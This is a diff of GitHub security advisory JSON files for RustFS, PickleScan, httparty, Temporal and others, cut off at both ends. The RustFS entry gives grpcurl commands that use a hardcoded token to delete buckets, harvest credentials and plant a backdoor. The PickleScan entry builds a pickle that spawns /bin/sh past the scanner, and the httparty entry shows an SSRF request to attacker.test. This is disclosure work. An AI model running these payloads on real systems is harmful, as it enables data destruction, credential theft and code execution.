rpc\".parse().unwrap(); // ⚠️ HARDCODED!\n\n match req.metadata().get(\"authorization\") {\n Some(t) if token == t => Ok(req),\n _ => Err(Status::unauthenticated(\"No valid auth token\")),\n }\n}\n```\n\n**Issues**:\n- Static token hardcoded as string literal\n- No configuration mechanism (environment variable, file, etc.)\n- Token visible in public GitHub repository\n- Identical across all installations\n\n### Client-Side Authentication (crates/protos/src/lib.rs:153-174)\n\n```rust\npub async fn node_service_time_out_client(\n addr: &String,\n) -> Result, Box> {\n let token: MetadataValue<_> = \"rustfs rpc\".parse()?; // ⚠️ SAME HARDCODED TOKEN!\n\n // ...\n\n Ok(NodeServiceClient::with_interceptor(\n channel,\n Box::new(move |mut req: Request<()>| {\n req.metadata_mut().insert(\"authorization\", token.clone());\n Ok(req)\n }),\n ))\n}\n```\n\n**Issues**:\n- Client uses identical hardcoded token\n- No secure token distribution mechanism\n- Token cannot be rotated without code changes\n\n### Service Integration (rustfs/src/server/http.rs:520-521)\n\n```rust\nlet rpc_service = NodeServiceServer::with_interceptor(make_server(), check_auth);\nlet service = hybrid(s3_service, rpc_service);\n```\n\nThe `check_auth` interceptor is applied to all gRPC services via `NodeServiceServer::with_interceptor`, protecting **all 50+ gRPC methods** in `node.proto` with the same weak authentication.\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n**Test Environment**:\n- RustFS Server: `localhost:9000` (HTTP + gRPC hybrid service)\n- RustFS Console: `localhost:9001`\n- Container: `rustfs/rustfs:latest` (Docker Compose deployment)\n- Default credentials: `rustfsadmin/rustfsadmin`\n\n**Tools Required**:\n- `grpcurl` v1.9.3+ (gRPC command-line client)\n- RustFS proto files: `crates/protos/src/node.proto`\n\n### Step 1: Verify Authentication is Enforced\n\n**Test 1.1: Request without authentication token**\n\n```bash\n$ grpcurl -plaintext \\\n -import-path /private/tmp/rustfs/crates/protos/src \\\n -proto node.proto \\\n -d '{}' \\\n localhost:9000 node_service.NodeService/Ping\n```\n\n**Expected Result**: ✅ Authentication failure\n\n```\nERROR:\n Code: Unauthenticated\n Message: No valid auth token\n```\n\n**Test 1.2: Request with incorrect token**\n\n```bash\n$ grpcurl -plaintext \\\n -H 'authorization: wrong-token-12345' \\\n -import-path /private/tmp/rustfs/crates/protos/src \\\n -proto node.proto \\\n -d '{}' \\\n localhost:9000 node_service.NodeService/Ping\n```\n\n**Expected Result**: ✅ Authentication failure\n\n```\nERROR:\n Code: Unauthenticated\n Message: No valid auth token\n```\n\n**Conclusion**: Authentication is properly enforced - unauthorized requests are rejected.\n\n---\n\n### Step 2: Extract Hardcoded Token from Source Code\n\n**Public Source Code Analysis**:\n\n```bash\n$ git clone https://github.com/rustfs/rustfs.git\n$ cd rustfs\n$ grep -rn '\"rustfs rpc\"' --include='*.rs'\n```\n\n**Result**: ✅ Token found in public source code\n\n```\nrustfs/src/server/http.rs:680: let token: MetadataValue<_> = \"rustfs rpc\".parse().unwrap();\ncrates/protos/src/lib.rs:153: let token: MetadataValue<_> = \"rustfs rpc\".parse()?;\n```\n\n**Extracted Token**: `rustfs rpc`\n\n---\n\n### Step 3: Exploit - Authenticate Using Hardcoded Token\n\n**Test 3.1: Successful authentication with hardcoded token**\n\n```bash\n$ grpcurl -plaintext \\\n -H 'authorization: rustfs rpc' \\\n -import-path /private/tmp/rustfs/crates/protos/src \\\n -proto node.proto \\\n -d '{}' \\\n localhost:9000 node_service.NodeService/Ping\n```\n\n**Result**: 🔓 **AUTHENTICATION BYPASSED**\n\n```json\n{\n \"version\": \"1\",\n \"body\": \"DAAAAAAABgAIAAQABgAAAAQAAAANAAAAaGVsbG8sIGNhbGxlcgAAAA==\"\n}\n```\n\n**Analysis**: Server accepted the hardcoded token and returned a successful response. Authentication completely bypassed.\n\n---\n\n### Step 4: Demonstrate Access to Sensitive Management APIs\n\n**Test 4.1: Server Configuration Disclosure**\n\n```bash\n$ grpcurl -plaintext \\\n -H 'authorization: rustfs rpc' \\\n -import-path /private/tmp/rustfs/crates/protos/src \\\n -proto node.proto \\\n -d '{}' \\\n localhost:9000 node_service.NodeService/ServerInfo\n```\n\n**Result**: ✅ **Complete server configuration disclosed**\n\n```json\n{\n \"success\": true,\n \"serverProperties\": \"n6ZvbmxpbmWsMC4wLjAuMDo5MDAwoM0DhdkjMjAyNS0xMi0xOVQwNjo1NzoxOVpAMS4wLjAtYWxwaGEuNzaggawwLjAuMC4wOjkwMDCmb25saW5llNwAGq0vZGF0YS9ydXN0ZnMwwq0vZGF0YS9ydXN0ZnMwwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAANwAGq0vZGF0YS9ydXN0ZnMxwq0vZGF0YS9ydXN0ZnMxwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAdwAGq0vZGF0YS9ydXN0ZnMywq0vZGF0YS9ydXN0ZnMywsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAtwAGq0vZGF0YS9ydXN0ZnMzwq0vZGF0YS9ydXN0ZnMzwsKib2ugACLAzwAAcxuhUAAAzwAAQCnCIAAAzwAAMvHfMAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAywAAAAAAAAAAy0BL3vAPnWekwMDOADA+/c5/XK34wwAAAwGRAZUAAAAAAAAAoIA=\"\n}\n```\n\n**Analysis**:\n- Server returned complete configuration including storage paths, endpoint addresses, version info\n- Binary data contains sensitive internal state (MessagePack encoded)\n- Information disclosure confirmed\n\n**Test 4.2: Disk Information Access**\n\n```bash\n$ grpcurl -plaintext \\\n -H 'authorization: rustfs rpc' \\\n -import-path /private/tmp/rustfs/crates/protos/src \\\n -proto node.proto \\\n -d '{}' \\\n localhost:9000 node_service.NodeService/DiskInfo\n```\n\n**Result**: ✅ **Authenticated request accepted** (business logic error returned, not auth error)\n\n```json\n{\n \"error\": {\n \"code\": 36,\n \"errorInfo\": \"io error can not find disk\"\n }\n}\n```\n\n**Analysis**:\n- Request passed authentication (error is business logic, not authentication)\n- Proves attacker has authenticated access to sensitive system information APIs\n\n---\n\n## Impact Analysis\n\n### Affected APIs\n\nAll 50+ gRPC methods in `node_service.NodeService` are vulnerable:\n\n#### 🔴 **CRITICAL Impact - Data Destruction**\n- `DeleteBucket` - Delete production buckets\n- `DeleteVolume` - Destroy entire storage volumes\n- `DeleteUser` - Remove legitimate users\n- `DeletePolicy` - Remove access control policies\n- `DeleteServiceAccount` - Remove service accounts\n\n#### 🔴 **CRITICAL Impact - Configuration Manipulation**\n- `ReloadSiteReplicationConfig` - Corrupt cluster replication\n- `SignalService` - Control service lifecycle\n- `LoadPolicy` - Modify access control policies\n- `LoadPolicyMapping` - Alter policy assignments\n\n#### 🟠 **HIGH Impact - Unauthorized Data Access/Modification**\n- `ReadAll` / `ReadAt` - Read arbitrary data\n- `WriteAll` / `WriteStream` - Inject malicious data\n- `RenameFile` / `RenameData` - Manipulate file system\n- `UpdateMetadata` / `WriteMetadata` - Corrupt metadata\n\n#### 🟠 **HIGH Impact - Privilege Escalation**\n- `LoadUser` - Access user credentials\n- `LoadServiceAccount` - Access service credentials\n- `LoadGroup` - Access group memberships\n\n#### 🟡 **MEDIUM Impact - Information Disclosure**\n- `ServerInfo` - Server configuration disclosure\n- `DiskInfo` - Storage configuration disclosure\n- `GetMetrics` - Performance metrics disclosure\n- `GetBucketStats` - Bucket statistics disclosure\n- `LocalStorageInfo` - Storage system information\n- `ListBucket` - Bucket enumeration\n\n#### 🟡 **MEDIUM Impact - Cluster Operations**\n- `MakeBucket` - Unauthorized bucket creation\n- `HealBucket` - Trigger repair operations\n- `BackgroundHealStatus` - Monitor internal operations\n\n### Attack Scenarios\n\n#### Scenario 1: Data Destruction\n\n```bash\n# Enumerate all buckets\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n -d '{\"options\": \"{}\"}' \\\n localhost:9000 node_service.NodeService/ListBucket\n\n# Delete critical production bucket\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n -d '{\"bucket\": \"production-data\"}' \\\n localhost:9000 node_service.NodeService/DeleteBucket\n\n# Delete entire storage volume\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n -d '{\"volume\": \"vol1\"}' \\\n localhost:9000 node_service.NodeService/DeleteVolume\n```\n\n**Impact**: Complete data loss, business disruption\n\n#### Scenario 2: Credential Harvesting\n\n```bash\n# Extract user credentials\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n -d '{\"access_key\": \"admin\"}' \\\n localhost:9000 node_service.NodeService/LoadUser\n\n# Extract service account credentials\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n -d '{\"access_key\": \"service-account\"}' \\\n localhost:9000 node_service.NodeService/LoadServiceAccount\n\n# Exfiltrate IAM policies\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n -d '{\"name\": \"admin-policy\"}' \\\n localhost:9000 node_service.NodeService/LoadPolicy\n```\n\n**Impact**: Complete IAM compromise, lateral movement\n\n#### Scenario 3: Backdoor Installation\n\n```bash\n# Inject malicious data into system paths\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n -d '{\"volume\": \"config\", \"path\": \"backdoor.sh\", \"buf\": \"...\"}' \\\n localhost:9000 node_service.NodeService/WriteAll\n\n# Modify system configuration\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n -d '{\"bucket\": \"system\", \"path\": \".rustfs.sys/config.json\", \"fi\": \"...\"}' \\\n localhost:9000 node_service.NodeService/WriteMetadata\n```\n\n**Impact**: Persistent compromise, further exploitation\n\n#### Scenario 4: Cluster Disruption\n\n```bash\n# Corrupt replication configuration\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n -d '{}' \\\n localhost:9000 node_service.NodeService/ReloadSiteReplicationConfig\n\n# Force service restart/shutdown\ngrpcurl -plaintext -H 'authorization: rustfs rpc' \\\n -d '{\"sig\": 2}' \\\n localhost:9000 node_service.NodeService/SignalService\n```\n\n**Impact**: Distributed system failure, data inconsistency\n\n---\n\n## Exploitation Preconditions\n\n### Required Conditions\n\n✅ **All conditions typically met in production deployments**:\n\n1. **Network Access**: Attacker can reach gRPC port (9000/TCP)\n - RustFS binds to `0.0.0.0` by default (all interfaces)\n - Commonly exposed for distributed node communication\n\n2. **Token Knowledge**: Token is publicly known\n - Available in public GitHub repository\n - Identical across all RustFS installations\n - Cannot be changed without code modification\n\n3. **No Additional Security Controls**:\n - No mTLS/certificate-based authentication\n - No IP whitelisting (typically)\n - No VPN/network segmentation requirements\n - No rate limiting on authentication attempts\n\n### Attack Complexity\n\n**Complexity**: 🟢 **TRIVIAL**\n\n- Single `grpcurl` command with hardcoded token\n- No exploit development required\n- No timing or race conditions\n- No target-specific reconnaissance needed\n- Fully automatable\n- Works against any RustFS instance\n\n**Time to Exploit**: < 1 minute\n\n---\n\n## Security Impact\n\n### Confidentiality Impact: HIGH\n\n- **Complete Data Disclosure**: All stored objects readable via `ReadAll`/`ReadAt`\n- **Credential Exposure**: IAM users, service accounts, policies accessible\n- **Configuration Disclosure**: Server, storage, cluster configuration leaked\n- **Metrics Exposure**: Performance and usage metrics accessible\n\n### Integrity Impact: HIGH\n\n- **Data Modification**: Arbitrary data injection via `WriteAll`/`WriteStream`\n- **Metadata Corruption**: File metadata tampering via `WriteMetadata`\n- **Policy Manipulation**: IAM policies modifiable via `LoadPolicy`\n- **Configuration Changes**: Cluster replication config alterable\n\n### Availability Impact: HIGH\n\n- **Data Destruction**: Buckets/volumes deletable via `DeleteBucket`/`DeleteVolume`\n- **Service Disruption**: Service controllable via `SignalService`\n- **Cluster Degradation**: Replication corruption via `ReloadSiteReplicationConfig`\n- **Resource Exhaustion**: Arbitrary data writes, bucket creation\n\n---\n\n## Compliance & Regulatory Impact\n\n### Standards Violated\n\n#### PCI-DSS v4.0\n- **Requirement 6.5.3**: Broken authentication\n- **Requirement 8.2**: Strong authentication required\n- **Requirement 8.6**: Multi-factor authentication required\n\n#### OWASP Top 10 2021\n- **A07:2021 - Identification and Authentication Failures**\n - Use of hard-coded credentials\n - Missing or ineffective authentication\n\n#### CWE (Common Weakness Enumeration)\n- **CWE-798**: Use of Hard-coded Credentials (Rank: 37/400)\n- **CWE-1391**: Use of Weak Credentials\n- **CWE-287**: Improper Authentication\n\n#### NIST Cybersecurity Framework\n- **PR.AC-1**: Access control mechanisms violated\n- **PR.AC-7**: Authentication mechanisms insufficient\n\n#### SOC 2 Type II\n- **CC6.1**: Logical access controls inadequate\n- **CC6.6**: Credential management controls missing\n\n### Legal & Business Impact\n\n- **Data Breach Notification**: GDPR Art. 33, CCPA §1798.150\n- **Regulatory Fines**: GDPR up to €20M or 4% annual revenue\n- **Customer Trust**: Severe reputational damage\n- **Service Disruption**: SLA violations, customer compensation\n- **Incident Response Costs**: Forensics, remediation, legal fees\n\n---\n\n## Proof of Concept\n\n### Automated POC Script\n\n**File**: `audit_analysis/poc_cve_2025_008_grpc_token_working.sh`\n\n**Usage**:\n```bash\nchmod +x poc_cve_2025_008_grpc_token_working.sh\n./poc_cve_2025_008_grpc_token_working.sh [target_host:port]\n```\n\n**Default Target**: `localhost:9000`\n\n### POC Features\n\n1. ✅ **Baseline Authentication Testing**\n - Verifies unauthenticated requests are rejected\n - Verifies incorrect tokens are rejected\n\n2. ✅ **Exploit Demonstration**\n - Authenticates using hardcoded token\n - Calls `Ping` service successfully\n\n3. ✅ **Sensitive API Access**\n - Accesses `ServerInfo` (configuration disclosure)\n - Accesses `DiskInfo` (system information)\n - Demonstrates authenticated access to management APIs\n\n4. ✅ **Detailed Reporting**\n - Displays vulnerable code locations\n - Lists all affected APIs (50+ methods)\n - Provides CVSS scoring and impact analysis\n - Includes remediation recommendations\n\n### POC Output Summary\n\n```\n[PHASE 1] Baseline Testing\n ✓ Without token: REJECTED (Unauthenticated)\n ✓ With wrong token: REJECTED (Unauthenticated)\n\n[PHASE 2] Exploit\n ✓ With hardcoded token \"rustfs rpc\": ACCEPTED ✅\n\n[PHASE 3] Sensitive API Access\n ✓ ServerInfo: SUCCESS - Configuration disclosed\n ✓ DiskInfo: SUCCESS - System information accessible\n\n[RESULT] VULNERABILITY CONFIRMED\n```\n\n## Acknowledgements\n\nWe would like to thank **bilisheep** from the **Xmirror Security Team** for discovering and responsibly reporting this vulnerability.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "rustfs" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.0.0-alpha.13" + }, + { + "fixed": "1.0.0-alpha.78" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.0.0-alpha.77" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-h956-rh7x-ppgj" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68926" + }, + { + "type": "PACKAGE", + "url": "https://github.com/rustfs/rustfs" + }, + { + "type": "WEB", + "url": "https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.78" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-287", + "CWE-798" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2025-12-30T23:06:15Z", + "nvd_published_at": "2025-12-30T17:15:43Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-hgrh-qx5j-jfwx/GHSA-hgrh-qx5j-jfwx.json b/advisories/github-reviewed/2025/12/GHSA-hgrh-qx5j-jfwx/GHSA-hgrh-qx5j-jfwx.json new file mode 100644 index 0000000000000..b21e3f05ac737 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-hgrh-qx5j-jfwx/GHSA-hgrh-qx5j-jfwx.json @@ -0,0 +1,67 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-hgrh-qx5j-jfwx", + "modified": "2025-12-29T15:26:37Z", + "published": "2025-12-29T15:26:37Z", + "aliases": [], + "summary": "Picklescan Bypasses Unsafe Globals Check using pty.spawn", + "details": "### Summary\nThe vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats.\n\n### Details\nFor 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released.\n\nThe intended way was to use `pty.spawn` but some players found alternative solutions.\n\n### PoC\n\n- Run the following Python code to generate the PoC pickle file.\n\n```py\nimport pickle\n\ncommand = b\"/bin/sh\"\n\npayload = b\"\".join(\n [\n pickle.PROTO + pickle.pack(\"B\", 4),\n pickle.MARK,\n pickle.GLOBAL + b\"pty\\n\" + b\"spawn\\n\",\n pickle.EMPTY_LIST,\n pickle.SHORT_BINUNICODE + pickle.pack(\"B\", len(command)) + command,\n pickle.APPEND,\n # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes\n pickle.OBJ,\n pickle.STOP,\n ]\n)\n\nwith open(\"dump.pkl\", \"wb\") as f:\n f.write(payload)\n```\n\n- Run PickleScan on the generated pickle file.\n\"picklescan_bypass_pty_spawn\"\n\nPickleScan detects the `pty.spawn` global as \"suspicious\" but not \"dangerous\", allowing it to be loaded.\n\n### Impact\n**Severity**: High\n**Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content.\n**Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded.\n\n### Suggested Patch\n\n```\ndiff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py\nindex 34a5715..b434069 100644\n--- a/src/picklescan/scanner.py\n+++ b/src/picklescan/scanner.py\n@@ -150,6 +150,7 @@ _unsafe_globals = {\n \"_pickle\": \"*\",\n \"pip\": \"*\",\n \"profile\": {\"Profile.run\", \"Profile.runctx\"},\n+ \"pty\": \"spawn\",\n \"pydoc\": \"pipepager\", # pydoc.pipepager('help','echo pwned')\n \"timeit\": \"*\",\n \"torch._dynamo.guards\": {\"GuardBuilder.get\"},\n```", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "picklescan" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.33" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-hgrh-qx5j-jfwx" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/pull/53" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mmaitre314/picklescan" + }, + { + "type": "WEB", + "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-693" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-12-29T15:26:37Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-hm5p-x4rq-38w4/GHSA-hm5p-x4rq-38w4.json b/advisories/github-reviewed/2025/12/GHSA-hm5p-x4rq-38w4/GHSA-hm5p-x4rq-38w4.json index 1c7f422d9de3f..0f5e3cd17e5b9 100644 --- a/advisories/github-reviewed/2025/12/GHSA-hm5p-x4rq-38w4/GHSA-hm5p-x4rq-38w4.json +++ b/advisories/github-reviewed/2025/12/GHSA-hm5p-x4rq-38w4/GHSA-hm5p-x4rq-38w4.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-hm5p-x4rq-38w4", - "modified": "2025-12-26T17:25:12Z", + "modified": "2026-01-11T14:56:54Z", "published": "2025-12-23T19:31:10Z", "aliases": [ "CVE-2025-68696" @@ -9,6 +9,10 @@ "summary": "httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage", "details": "## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n include HTTParty\n base_uri 'http://exmaple.test/api/v1/repositories/'\n headers 'X-API-KEY' => '1234567890'\nend\n\npost '/issue' do\n request_body = JSON.parse(request.body.read)\n RepositoryClient.get(request_body['repository_id']).body\n # do something\n json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n \"repository_id\": \"http://attacker.test\",\n \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past: \n\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior: \n\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n ```bash\n mkdir /tmp/server1 /tmp/server2\n echo \"this is server1\" > /tmp/server1/index.html \n echo \"this is server2\" > /tmp/server2/index.html\n python -m http.server -d /tmp/server1 10001 &\n python -m http.server -d /tmp/server2 10002 &\n ```\n\n2. Create a script (for example, `main.rb`):\n\n ```rb\n require 'httparty'\n\n class Client\n include HTTParty\n base_uri 'http://localhost:10001'\n end\n\n data = Client.get('http://localhost:10002').body\n puts data\n ```\n\n3. Run the script:\n\n ```bash\n $ ruby main.rb\n this is server2\n ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P" @@ -28,11 +32,14 @@ "introduced": "0" }, { - "last_affected": "0.23.2" + "fixed": "0.24.0" } ] } - ] + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.23.2" + } } ], "references": [ @@ -51,6 +58,10 @@ { "type": "PACKAGE", "url": "https://github.com/jnunemaker/httparty" + }, + { + "type": "WEB", + "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/12/GHSA-hmhp-gh8m-c8xp/GHSA-hmhp-gh8m-c8xp.json b/advisories/github-reviewed/2025/12/GHSA-hmhp-gh8m-c8xp/GHSA-hmhp-gh8m-c8xp.json new file mode 100644 index 0000000000000..97cfab181618e --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-hmhp-gh8m-c8xp/GHSA-hmhp-gh8m-c8xp.json @@ -0,0 +1,130 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-hmhp-gh8m-c8xp", + "modified": "2026-01-02T15:46:14Z", + "published": "2025-12-30T21:30:33Z", + "aliases": [ + "CVE-2025-14987" + ], + "summary": "Temporal has an Incorrect Authorization vulnerability", + "details": "When system.enableCrossNamespaceCommands is enabled (on by default), the Temporal server permits certain workflow task commands (e.g. StartChildWorkflowExecution, SignalExternalWorkflowExecution, RequestCancelExternalWorkflowExecution) to target a different namespace than the namespace authorized at the gRPC boundary. The frontend authorizes RespondWorkflowTaskCompleted based on the outer request namespace, but the history service later resolves and executes the command using the namespace embedded in command attributes without authorizing the caller for that target namespace. This can allow a worker authorized for one namespace to create, signal, or cancel workflows in another namespace.\nThis issue affects Temporal: through 1.29.1. Fixed in 1.27.4, 1.28.2, 1.29.2.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "go.temporal.io/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.27.4" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "go.temporal.io/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.28.0" + }, + { + "fixed": "1.28.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "go.temporal.io/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.29.0" + }, + { + "fixed": "1.29.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "go.temporal.io/server" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.29.0-0" + }, + { + "fixed": "1.29.0-135.0.0.20251218190115-b292a32bacdf" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14987" + }, + { + "type": "WEB", + "url": "https://github.com/temporalio/temporal/commit/b292a32bacdfa6472affd90f0a940408d5839cfa" + }, + { + "type": "PACKAGE", + "url": "https://github.com/temporalio/temporal" + }, + { + "type": "WEB", + "url": "https://github.com/temporalio/temporal/releases/tag/v1.27.4" + }, + { + "type": "WEB", + "url": "https://github.com/temporalio/temporal/releases/tag/v1.28.2" + }, + { + "type": "WEB", + "url": "https://github.com/temporalio/temporal/releases/tag/v1.29.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-863" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-02T15:46:14Z", + "nvd_published_at": "2025-12-30T21:15:43Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/12/GHSA-hxp3-63hc-5366/GHSA-hxp3-63hc-5366.json b/advisories/github-reviewed/2025/12/GHSA-hxp3-63hc-5366/GHSA-hxp3-63hc-5366.json index acbebc4427cce..4fe0c9953ee73 100644 --- a/advisories/github-reviewed/2025/12/GHSA-hxp3-63hc-5366/GHSA-hxp3-63hc-5366.json +++ b/advisories/github-reviewed/2025/12/GHSA-hxp3-63hc-5366/GHSA-hxp3-63hc-5366.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-hxp3-63hc-5366", - "modified": "2025-12-10T15:46:17Z", + "modified": "2026-01-08T20:44:47Z", "published": "2025-12-09T14:25:15Z", "aliases": [ "CVE-2025-66645" diff --git a/advisories/github-reviewed/2025/12/GHSA-j4p8-h8mh-rh8q/GHSA-j4p8-h8mh-rh8q.json b/advisories/github-reviewed/2025/12/GHSA-j4p8-h8mh-rh8q/GHSA-j4p8-h8mh-rh8q.json index 718006465fd49..057cc288d1289 100644 --- a/advisories/github-reviewed/2025/12/GHSA-j4p8-h8mh-rh8q/GHSA-j4p8-h8mh-rh8q.json +++ b/advisories/github-reviewed/2025/12/GHSA-j4p8-h8mh-rh8q/GHSA-j4p8-h8mh-rh8q.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-j4p8-h8mh-rh8q", - "modified": "2025-12-27T01:08:47Z", + "modified": "2025-12-31T00:20:06Z", "published": "2025-12-26T18:26:38Z", "aliases": [ "CVE-2025-68697" @@ -25,7 +25,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "1.2.1" }, { "fixed": "2.0.0" diff --git a/advisories/github-reviewed/2025/12/GHSA-j4pr-3wm6-xx2r/GHSA-j4pr-3wm6-xx2r.json b/advisories/github-reviewed/2025/12/GHSA-j4pr-3wm6-xx2r/GHSA-j4pr-3wm6-xx2r.json new file mode 100644 index 0000000000000..b840f31de5383 --- /dev/null +++ b/advisories/github-reviewed/2025/12/GHSA-j4pr-3wm6-xx2r/GHSA-j4pr-3wm6-xx2r.json @@ -0,0 +1,111 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-j4pr-3wm6-xx2r", + "modified": "2025-12-30T21:07:15Z", + "published": 